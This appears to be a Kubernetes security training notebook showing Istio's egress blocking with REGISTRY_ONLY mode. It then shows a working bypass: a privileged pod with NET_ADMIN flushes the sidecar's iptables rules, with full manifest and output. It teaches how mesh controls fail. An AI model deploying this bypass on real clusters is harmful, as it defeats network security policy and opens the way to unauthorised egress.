IstioHack.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "**This notebook covered by the following [license](License.ipynb)  This note must not be removed**"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Istio Egress Control and Hack\n",
    "\n",
    "Starting [Istio Egress Control](https://istio.io/latest/docs/tasks/traffic-management/egress/egress-control/)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/minikube-host/notebooks/training-kubernetes-security/istio-1.13.2\n"
     ]
    }
   ],
   "source": [
    "cd istio-*\n",
    "pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "kubectl label namespace default istio-injection=enabled"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Check defaults"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [],
   "source": [
    "kubectl get istiooperator installed-state -n istio-system -o jsonpath='{.spec.meshConfig.outboundTrafficPolicy.mode}'\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [],
   "source": [
    "export PATH=$PATH:$(pwd)/bin"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\u001b[32m✔\u001b[0m Istio core installed                                                          \n",
      "\u001b[32m✔\u001b[0m Istiod installed                                                              \n",
      "\u001b[32m✔\u001b[0m Egress gateways installed                                                     \n",
      "\u001b[32m✔\u001b[0m Ingress gateways installed                                                    \n",
      "\u001b[32m✔\u001b[0m Installation complete                                                         Making this installation the default for injection and validation.\n",
      "\n",
      "Thank you for installing Istio 1.13.  Please take a few minutes to tell us about your install/upgrade experience!  https://forms.gle/pzWZpAvMVBecaQ9h9\n"
     ]
    }
   ],
   "source": [
    "istioctl install --set profile=demo -y --set meshConfig.outboundTrafficPolicy.mode=ALLOW_ANY"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "ALLOW_ANY"
     ]
    }
   ],
   "source": [
    "kubectl get istiooperator installed-state -n istio-system -o jsonpath='{.spec.meshConfig.outboundTrafficPolicy.mode}'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "        image: pstauffer/curl\n"
     ]
    }
   ],
   "source": [
    "kubectl get deployment sleep -o yaml |grep image:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "NAME                    READY   STATUS    RESTARTS   AGE\n",
      "sleep-56bc8d768-56qrd   2/2     Running   0          50m\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Create test pod"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "kubectl apply -f - <<EOF\n",
    "apiVersion: v1\n",
    "kind: Service\n",
    "metadata:\n",
    "  name: sleep\n",
    "  labels:\n",
    "    app: sleep\n",
    "spec:\n",
    "  ports:\n",
    "  - port: 80\n",
    "    name: http\n",
    "  selector:\n",
    "    app: sleep\n",
    "---\n",
    "apiVersion: apps/v1\n",
    "kind: Deployment\n",
    "metadata:\n",
    "  name: sleep\n",
    "spec:\n",
    "  replicas: 1\n",
    "  selector:\n",
    "    matchLabels:\n",
    "      app: sleep\n",
    "  template:\n",
    "    metadata:\n",
    "      labels:\n",
    "        app: sleep\n",
    "    spec:\n",
    "      containers:\n",
    "      - name: sleep\n",
    "        image: pstauffer/curl\n",
    "        command: [\"/bin/sleep\", \"3650d\"]\n",
    "        imagePullPolicy: IfNotPresent\n",
    "---\n",
    "EOF"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "NAME                    READY   STATUS    RESTARTS   AGE\n",
      "sleep-56bc8d768-56qrd   2/2     Running   0          50m\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "sleep-56bc8d768-56qrd\n"
     ]
    }
   ],
   "source": [
    "export POD=$(kubectl get pods -l app=sleep -o jsonpath='{.items[0].metadata.name}')\n",
    "echo $POD"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "    image: pstauffer/curl\n",
      "    image: docker.io/istio/proxyv2:1.13.2\n",
      "    image: docker.io/istio/proxyv2:1.13.2\n",
      "    image: istio/proxyv2:1.13.2\n",
      "    image: pstauffer/curl:latest\n",
      "    image: istio/proxyv2:1.13.2\n"
     ]
    }
   ],
   "source": [
    "kubectl get pod $POD -o yaml |grep image:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n",
      "<html><head>\n",
      "<title>301 Moved Permanently</title>\n",
      "</head><body>\n",
      "<h1>Moved Permanently</h1>\n",
      "<p>The document has moved <a href=\"https://www.heise.de/\">here</a>.</p>\n",
      "</body></html>\n"
     ]
    }
   ],
   "source": [
    "kubectl exec -c sleep $POD -- curl -s  heise.de"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Works as intended, let us block it"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\u001b[32m✔\u001b[0m Istio core installed                                                          \n",
      "\u001b[32m✔\u001b[0m Istiod installed                                                              \n",
      "\u001b[32m✔\u001b[0m Egress gateways installed                                                     \n",
      "\u001b[32m✔\u001b[0m Ingress gateways installed                                                    \n",
      "\u001b[32m✔\u001b[0m Installation complete                                                         Making this installation the default for injection and validation.\n",
      "\n",
      "Thank you for installing Istio 1.13.  Please take a few minutes to tell us about your install/upgrade experience!  https://forms.gle/pzWZpAvMVBecaQ9h9\n"
     ]
    }
   ],
   "source": [
    "istioctl install --set profile=demo -y --set meshConfig.outboundTrafficPolicy.mode=REGISTRY_ONLY"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "REGISTRY_ONLY"
     ]
    }
   ],
   "source": [
    "kubectl get istiooperator installed-state -n istio-system -o jsonpath='{.spec.meshConfig.outboundTrafficPolicy.mode}'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n",
      "                                 Dload  Upload   Total   Spent    Left  Speed\n",
      "  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\n"
     ]
    }
   ],
   "source": [
    "kubectl exec -c sleep $POD -- curl -m 5  heise.de"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {
    "collapsed": true,
    "jupyter": {
     "outputs_hidden": true
    },
    "tags": []
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "apiVersion: v1\n",
      "kind: Pod\n",
      "metadata:\n",
      "  annotations:\n",
      "    kubectl.kubernetes.io/default-container: sleep\n",
      "    kubectl.kubernetes.io/default-logs-container: sleep\n",
      "    prometheus.io/path: /stats/prometheus\n",
      "    prometheus.io/port: \"15020\"\n",
      "    prometheus.io/scrape: \"true\"\n",
      "    sidecar.istio.io/status: '{\"initContainers\":[\"istio-init\"],\"containers\":[\"istio-proxy\"],\"volumes\":[\"istio-envoy\",\"istio-data\",\"istio-podinfo\",\"istio-token\",\"istiod-ca-cert\"],\"imagePullSecrets\":null,\"revision\":\"default\"}'\n",
      "  creationTimestamp: \"2022-03-29T13:42:52Z\"\n",
      "  generateName: sleep-56bc8d768-\n",
      "  labels:\n",
      "    app: sleep\n",
      "    pod-template-hash: 56bc8d768\n",
      "    security.istio.io/tlsMode: istio\n",
      "    service.istio.io/canonical-name: sleep\n",
      "    service.istio.io/canonical-revision: latest\n",
      "  name: sleep-56bc8d768-56qrd\n",
      "  namespace: default\n",
      "  ownerReferences:\n",
      "  - apiVersion: apps/v1\n",
      "    blockOwnerDeletion: true\n",
      "    controller: true\n",
      "    kind: ReplicaSet\n",
      "    name: sleep-56bc8d768\n",
      "    uid: 51f89ac5-fc55-4a0d-97d4-4b5f901dd350\n",
      "  resourceVersion: \"14729\"\n",
      "  uid: de0606e9-6e7b-45a8-901b-9884ba38e605\n",
      "spec:\n",
      "  containers:\n",
      "  - command:\n",
      "    - /bin/sleep\n",
      "    - 3650d\n",
      "    image: pstauffer/curl\n",
      "    imagePullPolicy: IfNotPresent\n",
      "    name: sleep\n",
      "    resources: {}\n",
      "    terminationMessagePath: /dev/termination-log\n",
      "    terminationMessagePolicy: File\n",
      "    volumeMounts:\n",
      "    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount\n",
      "      name: kube-api-access-qdctx\n",
      "      readOnly: true\n",
      "  - args:\n",
      "    - proxy\n",
      "    - sidecar\n",
      "    - --domain\n",
      "    - $(POD_NAMESPACE).svc.cluster.local\n",
      "    - --proxyLogLevel=warning\n",
      "    - --proxyComponentLogLevel=misc:error\n",
      "    - --log_output_level=default:info\n",
      "    - --concurrency\n",
      "    - \"2\"\n",
      "    env:\n",
      "    - name: JWT_POLICY\n",
      "      value: third-party-jwt\n",
      "    - name: PILOT_CERT_PROVIDER\n",
      "      value: istiod\n",
      "    - name: CA_ADDR\n",
      "      value: istiod.istio-system.svc:15012\n",
      "    - name: POD_NAME\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.name\n",
      "    - name: POD_NAMESPACE\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.namespace\n",
      "    - name: INSTANCE_IP\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: status.podIP\n",
      "    - name: SERVICE_ACCOUNT\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: spec.serviceAccountName\n",
      "    - name: HOST_IP\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: status.hostIP\n",
      "    - name: PROXY_CONFIG\n",
      "      value: |\n",
      "        {}\n",
      "    - name: ISTIO_META_POD_PORTS\n",
      "      value: |-\n",
      "        [\n",
      "        ]\n",
      "    - name: ISTIO_META_APP_CONTAINERS\n",
      "      value: sleep\n",
      "    - name: ISTIO_META_CLUSTER_ID\n",
      "      value: Kubernetes\n",
      "    - name: ISTIO_META_INTERCEPTION_MODE\n",
      "      value: REDIRECT\n",
      "    - name: ISTIO_META_WORKLOAD_NAME\n",
      "      value: sleep\n",
      "    - name: ISTIO_META_OWNER\n",
      "      value: kubernetes://apis/apps/v1/namespaces/default/deployments/sleep\n",
      "    - name: ISTIO_META_MESH_ID\n",
      "      value: cluster.local\n",
      "    - name: TRUST_DOMAIN\n",
      "      value: cluster.local\n",
      "    image: docker.io/istio/proxyv2:1.13.2\n",
      "    imagePullPolicy: IfNotPresent\n",
      "    name: istio-proxy\n",
      "    ports:\n",
      "    - containerPort: 15090\n",
      "      name: http-envoy-prom\n",
      "      protocol: TCP\n",
      "    readinessProbe:\n",
      "      failureThreshold: 30\n",
      "      httpGet:\n",
      "        path: /healthz/ready\n",
      "        port: 15021\n",
      "        scheme: HTTP\n",
      "      initialDelaySeconds: 1\n",
      "      periodSeconds: 2\n",
      "      successThreshold: 1\n",
      "      timeoutSeconds: 3\n",
      "    resources:\n",
      "      limits:\n",
      "        cpu: \"2\"\n",
      "        memory: 1Gi\n",
      "      requests:\n",
      "        cpu: 10m\n",
      "        memory: 40Mi\n",
      "    securityContext:\n",
      "      allowPrivilegeEscalation: false\n",
      "      capabilities:\n",
      "        drop:\n",
      "        - ALL\n",
      "      privileged: false\n",
      "      readOnlyRootFilesystem: true\n",
      "      runAsGroup: 1337\n",
      "      runAsNonRoot: true\n",
      "      runAsUser: 1337\n",
      "    terminationMessagePath: /dev/termination-log\n",
      "    terminationMessagePolicy: File\n",
      "    volumeMounts:\n",
      "    - mountPath: /var/run/secrets/istio\n",
      "      name: istiod-ca-cert\n",
      "    - mountPath: /var/lib/istio/data\n",
      "      name: istio-data\n",
      "    - mountPath: /etc/istio/proxy\n",
      "      name: istio-envoy\n",
      "    - mountPath: /var/run/secrets/tokens\n",
      "      name: istio-token\n",
      "    - mountPath: /etc/istio/pod\n",
      "      name: istio-podinfo\n",
      "    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount\n",
      "      name: kube-api-access-qdctx\n",
      "      readOnly: true\n",
      "  dnsPolicy: ClusterFirst\n",
      "  enableServiceLinks: true\n",
      "  initContainers:\n",
      "  - args:\n",
      "    - istio-iptables\n",
      "    - -p\n",
      "    - \"15001\"\n",
      "    - -z\n",
      "    - \"15006\"\n",
      "    - -u\n",
      "    - \"1337\"\n",
      "    - -m\n",
      "    - REDIRECT\n",
      "    - -i\n",
      "    - '*'\n",
      "    - -x\n",
      "    - \"\"\n",
      "    - -b\n",
      "    - '*'\n",
      "    - -d\n",
      "    - 15090,15021,15020\n",
      "    image: docker.io/istio/proxyv2:1.13.2\n",
      "    imagePullPolicy: IfNotPresent\n",
      "    name: istio-init\n",
      "    resources:\n",
      "      limits:\n",
      "        cpu: \"2\"\n",
      "        memory: 1Gi\n",
      "      requests:\n",
      "        cpu: 10m\n",
      "        memory: 40Mi\n",
      "    securityContext:\n",
      "      allowPrivilegeEscalation: false\n",
      "      capabilities:\n",
      "        add:\n",
      "        - NET_ADMIN\n",
      "        - NET_RAW\n",
      "        drop:\n",
      "        - ALL\n",
      "      privileged: false\n",
      "      readOnlyRootFilesystem: false\n",
      "      runAsGroup: 0\n",
      "      runAsNonRoot: false\n",
      "      runAsUser: 0\n",
      "    terminationMessagePath: /dev/termination-log\n",
      "    terminationMessagePolicy: File\n",
      "    volumeMounts:\n",
      "    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount\n",
      "      name: kube-api-access-qdctx\n",
      "      readOnly: true\n",
      "  nodeName: minikube\n",
      "  preemptionPolicy: PreemptLowerPriority\n",
      "  priority: 0\n",
      "  restartPolicy: Always\n",
      "  schedulerName: default-scheduler\n",
      "  securityContext: {}\n",
      "  serviceAccount: default\n",
      "  serviceAccountName: default\n",
      "  terminationGracePeriodSeconds: 30\n",
      "  tolerations:\n",
      "  - effect: NoExecute\n",
      "    key: node.kubernetes.io/not-ready\n",
      "    operator: Exists\n",
      "    tolerationSeconds: 300\n",
      "  - effect: NoExecute\n",
      "    key: node.kubernetes.io/unreachable\n",
      "    operator: Exists\n",
      "    tolerationSeconds: 300\n",
      "  volumes:\n",
      "  - emptyDir:\n",
      "      medium: Memory\n",
      "    name: istio-envoy\n",
      "  - emptyDir: {}\n",
      "    name: istio-data\n",
      "  - downwardAPI:\n",
      "      defaultMode: 420\n",
      "      items:\n",
      "      - fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.labels\n",
      "        path: labels\n",
      "      - fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.annotations\n",
      "        path: annotations\n",
      "    name: istio-podinfo\n",
      "  - name: istio-token\n",
      "    projected:\n",
      "      defaultMode: 420\n",
      "      sources:\n",
      "      - serviceAccountToken:\n",
      "          audience: istio-ca\n",
      "          expirationSeconds: 43200\n",
      "          path: istio-token\n",
      "  - configMap:\n",
      "      defaultMode: 420\n",
      "      name: istio-ca-root-cert\n",
      "    name: istiod-ca-cert\n",
      "  - name: kube-api-access-qdctx\n",
      "    projected:\n",
      "      defaultMode: 420\n",
      "      sources:\n",
      "      - serviceAccountToken:\n",
      "          expirationSeconds: 3607\n",
      "          path: token\n",
      "      - configMap:\n",
      "          items:\n",
      "          - key: ca.crt\n",
      "            path: ca.crt\n",
      "          name: kube-root-ca.crt\n",
      "      - downwardAPI:\n",
      "          items:\n",
      "          - fieldRef:\n",
      "              apiVersion: v1\n",
      "              fieldPath: metadata.namespace\n",
      "            path: namespace\n",
      "status:\n",
      "  conditions:\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T13:42:54Z\"\n",
      "    status: \"True\"\n",
      "    type: Initialized\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T13:43:04Z\"\n",
      "    status: \"True\"\n",
      "    type: Ready\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T13:43:04Z\"\n",
      "    status: \"True\"\n",
      "    type: ContainersReady\n",
      "  - lastProbeTime: null\n",
      "    lastTransitionTime: \"2022-03-29T13:42:52Z\"\n",
      "    status: \"True\"\n",
      "    type: PodScheduled\n",
      "  containerStatuses:\n",
      "  - containerID: docker://fc7f0b5ca14b0f799a26c3872177c8d67ee1d9c7317e19a7c070015e8fcfe3af\n",
      "    image: istio/proxyv2:1.13.2\n",
      "    imageID: docker-pullable://istio/proxyv2@sha256:fa15cda114bff2dd9bc0f98e988e65f5f43d77dcea652313d77b5bdfa0faf1b8\n",
      "    lastState: {}\n",
      "    name: istio-proxy\n",
      "    ready: true\n",
      "    restartCount: 0\n",
      "    started: true\n",
      "    state:\n",
      "      running:\n",
      "        startedAt: \"2022-03-29T13:42:57Z\"\n",
      "  - containerID: docker://e751cc61bb4f631ff59a9461c4e4bf413c1f99382390abbd268ca4b39c5b6e69\n",
      "    image: pstauffer/curl:latest\n",
      "    imageID: docker-pullable://pstauffer/curl@sha256:2663156457abb72d269eb19fe53c2d49e2e4a9fdcb9fa8f082d0282d82eb8e42\n",
      "    lastState: {}\n",
      "    name: sleep\n",
      "    ready: true\n",
      "    restartCount: 0\n",
      "    started: true\n",
      "    state:\n",
      "      running:\n",
      "        startedAt: \"2022-03-29T13:42:57Z\"\n",
      "  hostIP: 192.168.49.2\n",
      "  initContainerStatuses:\n",
      "  - containerID: docker://47269e8992e29335b2d10f5ac958e43a0905e75de0fdc098788672cc56f83555\n",
      "    image: istio/proxyv2:1.13.2\n",
      "    imageID: docker-pullable://istio/proxyv2@sha256:fa15cda114bff2dd9bc0f98e988e65f5f43d77dcea652313d77b5bdfa0faf1b8\n",
      "    lastState: {}\n",
      "    name: istio-init\n",
      "    ready: true\n",
      "    restartCount: 0\n",
      "    state:\n",
      "      terminated:\n",
      "        containerID: docker://47269e8992e29335b2d10f5ac958e43a0905e75de0fdc098788672cc56f83555\n",
      "        exitCode: 0\n",
      "        finishedAt: \"2022-03-29T13:42:53Z\"\n",
      "        reason: Completed\n",
      "        startedAt: \"2022-03-29T13:42:53Z\"\n",
      "  phase: Running\n",
      "  podIP: 172.17.0.3\n",
      "  podIPs:\n",
      "  - ip: 172.17.0.3\n",
      "  qosClass: Burstable\n",
      "  startTime: \"2022-03-29T13:42:52Z\"\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods $POD -o yaml"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# The hack\n",
    "\n",
    "- same image as above\n",
    "- we use the original istio proxy image\n",
    "  - iptables included\n",
    "  - `NET_ADMIN` capability not detected\n",
    "  - revert the iptables rules"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "pod/escape created\n"
     ]
    }
   ],
   "source": [
    "kubectl apply -f -<<EOF\n",
    "apiVersion: v1\n",
    "kind: Pod\n",
    "metadata:\n",
    "  name: escape\n",
    "  namespace: default\n",
    "spec:\n",
    "  containers:\n",
    "  - name: sleep\n",
    "    image: pstauffer/curl\n",
    "    command: [\"/bin/sleep\", \"3650d\"]\n",
    "    imagePullPolicy: IfNotPresent\n",
    "  - image: docker.io/istio/proxyv2:1.13.2\n",
    "    name: escape\n",
    "    command:\n",
    "      - \"/bin/bash\"\n",
    "    args:\n",
    "      - \"-c\"\n",
    "      - |+\n",
    "        echo\n",
    "        echo \"########  old rules ###########\"\n",
    "        echo\n",
    "        iptables-save\n",
    "        echo\n",
    "        echo \"######## cleared rules ##########\"\n",
    "        echo\n",
    "        iptables -P INPUT ACCEPT\n",
    "        iptables -P FORWARD ACCEPT\n",
    "        iptables -P OUTPUT ACCEPT\n",
    "        iptables -t nat -F\n",
    "        iptables -t mangle -F\n",
    "        iptables -F\n",
    "        iptables -X\n",
    "        iptables-save\n",
    "        sleep 3650d\n",
    "    securityContext:\n",
    "      capabilities:\n",
    "        add:\n",
    "        - NET_ADMIN\n",
    "      privileged: true\n",
    "  restartPolicy: Always\n",
    "EOF"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "NAME                    READY   STATUS    RESTARTS   AGE\n",
      "escape                  3/3     Running   0          11s\n",
      "sleep-56bc8d768-56qrd   2/2     Running   0          53m\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {
    "collapsed": true,
    "jupyter": {
     "outputs_hidden": true
    },
    "tags": []
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "apiVersion: v1\n",
      "kind: Pod\n",
      "metadata:\n",
      "  annotations:\n",
      "    kubectl.kubernetes.io/last-applied-configuration: |\n",
      "      {\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"escape\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"command\":[\"/bin/sleep\",\"3650d\"],\"image\":\"pstauffer/curl\",\"imagePullPolicy\":\"IfNotPresent\",\"name\":\"sleep\"},{\"args\":[\"-c\",\"echo\\necho \\\"########  old rules ###########\\\"\\necho\\niptables-save\\necho\\necho \\\"######## cleared rules ##########\\\"\\necho\\niptables -P INPUT ACCEPT\\niptables -P FORWARD ACCEPT\\niptables -P OUTPUT ACCEPT\\niptables -t nat -F\\niptables -t mangle -F\\niptables -F\\niptables -X\\niptables-save\\nsleep 3650d\\n\"],\"command\":[\"/bin/bash\"],\"image\":\"docker.io/istio/proxyv2:1.13.2\",\"name\":\"escape\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\"]},\"privileged\":true}}],\"restartPolicy\":\"Always\"}}\n",
      "    prometheus.io/path: /stats/prometheus\n",
      "    prometheus.io/port: \"15020\"\n",
      "    prometheus.io/scrape: \"true\"\n",
      "    sidecar.istio.io/status: '{\"initContainers\":[\"istio-init\"],\"containers\":[\"istio-proxy\"],\"volumes\":[\"istio-envoy\",\"istio-data\",\"istio-podinfo\",\"istio-token\",\"istiod-ca-cert\"],\"imagePullSecrets\":null,\"revision\":\"default\"}'\n",
      "  creationTimestamp: \"2022-03-29T14:36:10Z\"\n",
      "  labels:\n",
      "    security.istio.io/tlsMode: istio\n",
      "    service.istio.io/canonical-name: escape\n",
      "    service.istio.io/canonical-revision: latest\n",
      "  name: escape\n",
      "  namespace: default\n",
      "  resourceVersion: \"19708\"\n",
      "  uid: 07afa958-2463-4801-9324-d815f6c7a466\n",
      "spec:\n",
      "  containers:\n",
      "  - command:\n",
      "    - /bin/sleep\n",
      "    - 3650d\n",
      "    image: pstauffer/curl\n",
      "    imagePullPolicy: IfNotPresent\n",
      "    name: sleep\n",
      "    resources: {}\n",
      "    terminationMessagePath: /dev/termination-log\n",
      "    terminationMessagePolicy: File\n",
      "    volumeMounts:\n",
      "    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount\n",
      "      name: kube-api-access-vcgwn\n",
      "      readOnly: true\n",
      "  - args:\n",
      "    - -c\n",
      "    - |\n",
      "      echo\n",
      "      echo \"########  old rules ###########\"\n",
      "      echo\n",
      "      iptables-save\n",
      "      echo\n",
      "      echo \"######## cleared rules ##########\"\n",
      "      echo\n",
      "      iptables -P INPUT ACCEPT\n",
      "      iptables -P FORWARD ACCEPT\n",
      "      iptables -P OUTPUT ACCEPT\n",
      "      iptables -t nat -F\n",
      "      iptables -t mangle -F\n",
      "      iptables -F\n",
      "      iptables -X\n",
      "      iptables-save\n",
      "      sleep 3650d\n",
      "    command:\n",
      "    - /bin/bash\n",
      "    image: docker.io/istio/proxyv2:1.13.2\n",
      "    imagePullPolicy: IfNotPresent\n",
      "    name: escape\n",
      "    resources: {}\n",
      "    securityContext:\n",
      "      capabilities:\n",
      "        add:\n",
      "        - NET_ADMIN\n",
      "      privileged: true\n",
      "    terminationMessagePath: /dev/termination-log\n",
      "    terminationMessagePolicy: File\n",
      "    volumeMounts:\n",
      "    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount\n",
      "      name: kube-api-access-vcgwn\n",
      "      readOnly: true\n",
      "  - args:\n",
      "    - proxy\n",
      "    - sidecar\n",
      "    - --domain\n",
      "    - $(POD_NAMESPACE).svc.cluster.local\n",
      "    - --proxyLogLevel=warning\n",
      "    - --proxyComponentLogLevel=misc:error\n",
      "    - --log_output_level=default:info\n",
      "    - --concurrency\n",
      "    - \"2\"\n",
      "    env:\n",
      "    - name: JWT_POLICY\n",
      "      value: third-party-jwt\n",
      "    - name: PILOT_CERT_PROVIDER\n",
      "      value: istiod\n",
      "    - name: CA_ADDR\n",
      "      value: istiod.istio-system.svc:15012\n",
      "    - name: POD_NAME\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.name\n",
      "    - name: POD_NAMESPACE\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: metadata.namespace\n",
      "    - name: INSTANCE_IP\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: status.podIP\n",
      "    - name: SERVICE_ACCOUNT\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: spec.serviceAccountName\n",
      "    - name: HOST_IP\n",
      "      valueFrom:\n",
      "        fieldRef:\n",
      "          apiVersion: v1\n",
      "          fieldPath: status.hostIP\n",
      "    - name: PROXY_CONFIG\n",
      "      value: |\n",
      "        {}\n",
      "    - name: ISTIO_META_POD_PORTS\n",
      "      value: |-\n",
      "        [\n",
      "        ]\n",
      "    - name: ISTIO_META_APP_CONTAINERS\n",
      "      value: sleep,escape\n",
      "    - name: ISTIO_META_CLUSTER_ID\n",
      "      value: Kubernetes\n",
      "    - name: ISTIO_META_INTERCEPTION_MODE\n",
      "      value: REDIRECT\n",
      "    - name: ISTIO_META_WORKLOAD_NAME\n",
      "      value: escape\n",
      "    - name: ISTIO_META_OWNER\n",
      "      value: kubernetes://apis/v1/namespaces/default/pods/escape\n",
      "    - name: ISTIO_META_MESH_ID\n",
      "      value: cluster.local\n",
      "    - name: TRUST_DOMAIN\n",
      "      value: cluster.local\n",
      "    image: docker.io/istio/proxyv2:1.13.2\n",
      "    imagePullPolicy: IfNotPresent\n",
      "    name: istio-proxy\n",
      "    ports:\n",
      "    - containerPort: 15090\n",
      "      name: http-envoy-prom\n",
      "      protocol: TCP\n",
      "    readinessProbe:\n",
      "      failureThreshold: 30\n",
      "      httpGet:\n",
      "        path: /healthz/ready\n",
      "        port: 15021\n",
      "        scheme: HTTP\n",
      "      initialDelaySeconds: 1\n",
      "      periodSeconds: 2\n",
      "      successThreshold: 1\n",
      "      timeoutSeconds: 3\n",
      "    resources:\n",
      "      limits:\n",
      "        cpu: \"2\"\n",
      "        memory: 1Gi\n",
      "      requests:\n",
      "        cpu: 10m\n",
      "        memory: 40Mi\n",
      "    securityContext:\n",
      "      allowPrivilegeEscalation: false\n",
      "      capabilities:\n",
      "        drop:\n",
      "        - ALL\n",
      "      privileged: false\n",
      "      readOnlyRootFilesystem: true\n",
      "      runAsGroup: 1337\n",
      "      runAsNonRoot: true\n",
      "      runAsUser: 1337\n",
      "    terminationMessagePath: /dev/termination-log\n",
      "    terminationMessagePolicy: File\n",
      "    volumeMounts:\n",
      "    - mountPath: /var/run/secrets/istio\n",
      "      name: istiod-ca-cert\n",
      "    - mountPath: /var/lib/istio/data\n",
      "      name: istio-data\n",
      "    - mountPath: /etc/istio/proxy\n",
      "      name: istio-envoy\n",
      "    - mountPath: /var/run/secrets/tokens\n",
      "      name: istio-token\n",
      "    - mountPath: /etc/istio/pod\n",
      "      name: istio-podinfo\n",
      "    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount\n",
      "      name: kube-api-access-vcgwn\n",
      "      readOnly: true\n",
      "  dnsPolicy: ClusterFirst\n",
      "  enableServiceLinks: true\n",
      "  initContainers:\n",
      "  - args:\n",
      "    - istio-iptables\n",
      "    - -p\n",
      "    - \"15001\"\n",
      "    - -z\n",
      "    - \"15006\"\n",
      "    - -u\n",
      "    - \"1337\"\n",
      "    - -m\n",
      "    - REDIRECT\n",
      "    - -i\n",
      "    - '*'\n",
      "    - -x\n",
      "    - \"\"\n",
